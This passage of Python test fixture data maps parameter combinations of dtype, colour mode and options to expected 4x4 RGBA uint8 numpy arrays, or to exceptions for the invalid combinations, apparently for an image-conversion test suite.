[[0, 0, 0, 255], [0, 255, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255]],
[[0, 0, 255, 255], [255, 255, 255, 255], [0, 0, 255, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint16, None, False): np.array(
[
[[255, 0, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [255, 0, 255, 255], [0, 0, 255, 255]],
[[255, 0, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint16, 232, True): np.array(
[
[[0, 0, 255, 255], [0, 255, 0, 255], [255, 255, 255, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [0, 255, 0, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint16, 232, False): np.array(
[
[[255, 0, 0, 255], [0, 255, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [0, 255, 0, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 255, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint16, 13333, True): np.array(
[
[[0, 0, 255, 255], [255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255]],
[[0, 255, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255], [0, 0, 0, 255]],
[[255, 255, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", None, np.uint16, 13333, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 255, 255], [0, 0, 255, 255], [255, 0, 255, 255]],
[[0, 255, 0, 255], [255, 0, 255, 255], [0, 0, 255, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255], [0, 0, 0, 255]],
[[0, 255, 255, 255], [0, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", None, None, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", None, 232, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", None, 13333, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint16, None, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint16, 232, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", None, None, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", None, None, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", None, 232, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", None, 232, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", None, 13333, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", None, 13333, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint16, None, True): np.array(
[
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint16, None, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint16, 232, True): np.array(
[
[[0, 255, 255, 255], [255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 0, 255], [0, 0, 0, 255], [255, 255, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint16, 232, False): np.array(
[
[[255, 255, 0, 255], [0, 0, 255, 255], [0, 0, 255, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 255, 255, 255], [0, 0, 0, 255], [0, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint16, 13333, True): np.array(
[
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGB", np.uint16, 13333, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGB", "RGBA", None, None, True): Exception,
(np.uint16, "RGB", "RGBA", None, None, False): Exception,
(np.uint16, "RGB", "RGBA", None, 232, True): Exception,
(np.uint16, "RGB", "RGBA", None, 232, False): Exception,
(np.uint16, "RGB", "RGBA", None, 13333, True): Exception,
(np.uint16, "RGB", "RGBA", None, 13333, False): Exception,
(np.uint16, "RGB", "RGBA", np.uint8, None, True): Exception,
(np.uint16, "RGB", "RGBA", np.uint8, None, False): Exception,
(np.uint16, "RGB", "RGBA", np.uint8, 232, True): Exception,
(np.uint16, "RGB", "RGBA", np.uint8, 232, False): Exception,
(np.uint16, "RGB", "RGBA", np.uint8, 13333, True): Exception,
(np.uint16, "RGB", "RGBA", np.uint8, 13333, False): Exception,
(np.uint16, "RGB", "RGBA", np.uint16, None, True): Exception,
(np.uint16, "RGB", "RGBA", np.uint16, None, False): Exception,
(np.uint16, "RGB", "RGBA", np.uint16, 232, True): Exception,
(np.uint16, "RGB", "RGBA", np.uint16, 232, False): Exception,
(np.uint16, "RGB", "RGBA", np.uint16, 13333, True): Exception,
(np.uint16, "RGB", "RGBA", np.uint16, 13333, False): Exception,
(np.uint16, "RGBA", None, None, None, True): np.array(
[
[[50, 158, 115, 181], [0, 142, 130, 220], [188, 89, 183, 104], [223, 47, 120, 45]],
[[18, 160, 124, 98], [108, 253, 233, 185], [34, 71, 19, 189], [255, 100, 106, 67]],
[[202, 255, 158, 255], [0, 224, 107, 164], [195, 136, 74, 247], [68, 21, 140, 187]],
[[239, 107, 145, 28], [212, 155, 227, 49], [81, 220, 126, 0], [52, 57, 229, 189]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, None, None, False): np.array(
[
[[115, 158, 50, 181], [130, 142, 0, 220], [183, 89, 188, 104], [120, 47, 223, 45]],
[[124, 160, 18, 98], [233, 253, 108, 185], [19, 71, 34, 189], [106, 100, 255, 67]],
[[158, 255, 202, 255], [107, 224, 0, 164], [74, 136, 195, 247], [140, 21, 68, 187]],
[[145, 107, 239, 28], [227, 155, 212, 49], [126, 220, 81, 0], [229, 57, 52, 189]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, None, 232, True): np.array(
[
[[46, 144, 104, 165], [0, 129, 118, 200], [171, 81, 167, 94], [202, 43, 109, 41]],
[[17, 145, 113, 89], [98, 230, 212, 169], [31, 64, 17, 172], [232, 91, 96, 61]],
[[184, 232, 144, 232], [0, 204, 98, 149], [177, 124, 68, 225], [62, 19, 128, 170]],
[[218, 98, 132, 25], [193, 141, 206, 45], [73, 200, 114, 0], [47, 51, 208, 172]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, None, 232, False): np.array(
[
[[104, 144, 46, 165], [118, 129, 0, 200], [167, 81, 171, 94], [109, 43, 202, 41]],
[[113, 145, 17, 89], [212, 230, 98, 169], [17, 64, 31, 172], [96, 91, 232, 61]],
[[144, 232, 184, 232], [98, 204, 0, 149], [68, 124, 177, 225], [128, 19, 62, 170]],
[[132, 98, 218, 25], [206, 141, 193, 45], [114, 200, 73, 0], [208, 51, 47, 172]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, None, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [6, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 17], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 6, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 17], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint8, None, True): np.array(
[
[[255, 255, 0, 0], [255, 255, 255, 255], [255, 0, 0, 255], [0, 0, 255, 0]],
[[255, 255, 255, 255], [255, 0, 0, 0], [255, 0, 0, 0], [255, 255, 255, 0]],
[[255, 255, 255, 255], [255, 255, 0, 255], [0, 255, 255, 0], [255, 0, 255, 0]],
[[0, 0, 0, 255], [255, 0, 0, 0], [0, 255, 255, 255], [255, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint8, None, False): np.array(
[
[[0, 255, 255, 0], [255, 255, 255, 255], [0, 0, 255, 255], [255, 0, 0, 0]],
[[255, 255, 255, 255], [0, 0, 255, 0], [0, 0, 255, 0], [255, 255, 255, 0]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 0, 0], [255, 0, 255, 0]],
[[0, 0, 0, 255], [0, 0, 255, 0], [255, 255, 0, 255], [0, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint8, 232, True): np.array(
[
[[255, 255, 255, 0], [255, 0, 255, 255], [0, 0, 0, 255], [255, 0, 0, 0]],
[[0, 0, 0, 0], [255, 255, 255, 0], [0, 255, 0, 255], [255, 0, 255, 0]],
[[255, 255, 255, 255], [255, 255, 255, 0], [0, 255, 255, 0], [255, 0, 255, 255]],
[[255, 255, 255, 0], [0, 0, 255, 0], [0, 255, 255, 255], [0, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint8, 232, False): np.array(
[
[[255, 255, 255, 0], [255, 0, 255, 255], [0, 0, 0, 255], [0, 0, 255, 0]],
[[0, 0, 0, 0], [255, 255, 255, 0], [0, 255, 0, 255], [255, 0, 255, 0]],
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 0, 0], [255, 0, 255, 255]],
[[255, 255, 255, 0], [255, 0, 0, 0], [255, 255, 0, 255], [255, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 0, 0], [255, 0, 255, 255]],
[[255, 255, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 255, 0, 0]],
[[255, 0, 255, 0], [255, 255, 255, 0], [0, 255, 0, 0], [0, 0, 255, 255]],
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 255, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 0, 0], [255, 0, 255, 255]],
[[0, 255, 255, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 255, 0, 0]],
[[255, 0, 255, 0], [255, 255, 255, 0], [0, 255, 0, 0], [255, 0, 0, 255]],
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 255, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint16, 232, True): np.array(
[
[[0, 255, 0, 255], [255, 255, 0, 0], [255, 255, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 255, 0]],
[[0, 0, 255, 0], [255, 255, 0, 0], [255, 0, 0, 255], [0, 0, 0, 0]],
[[0, 0, 255, 0], [0, 255, 0, 255], [0, 0, 255, 255], [0, 255, 0, 0]],
],
dtype=np.uint8,
),
(np.uint16, "RGBA", None, np.uint16, 232, False): np.array(
[
[[0, 255, 0, 255], [0, 255, 255, 0], [0, 255, 255, 0], [0, 0, 0, 0]],
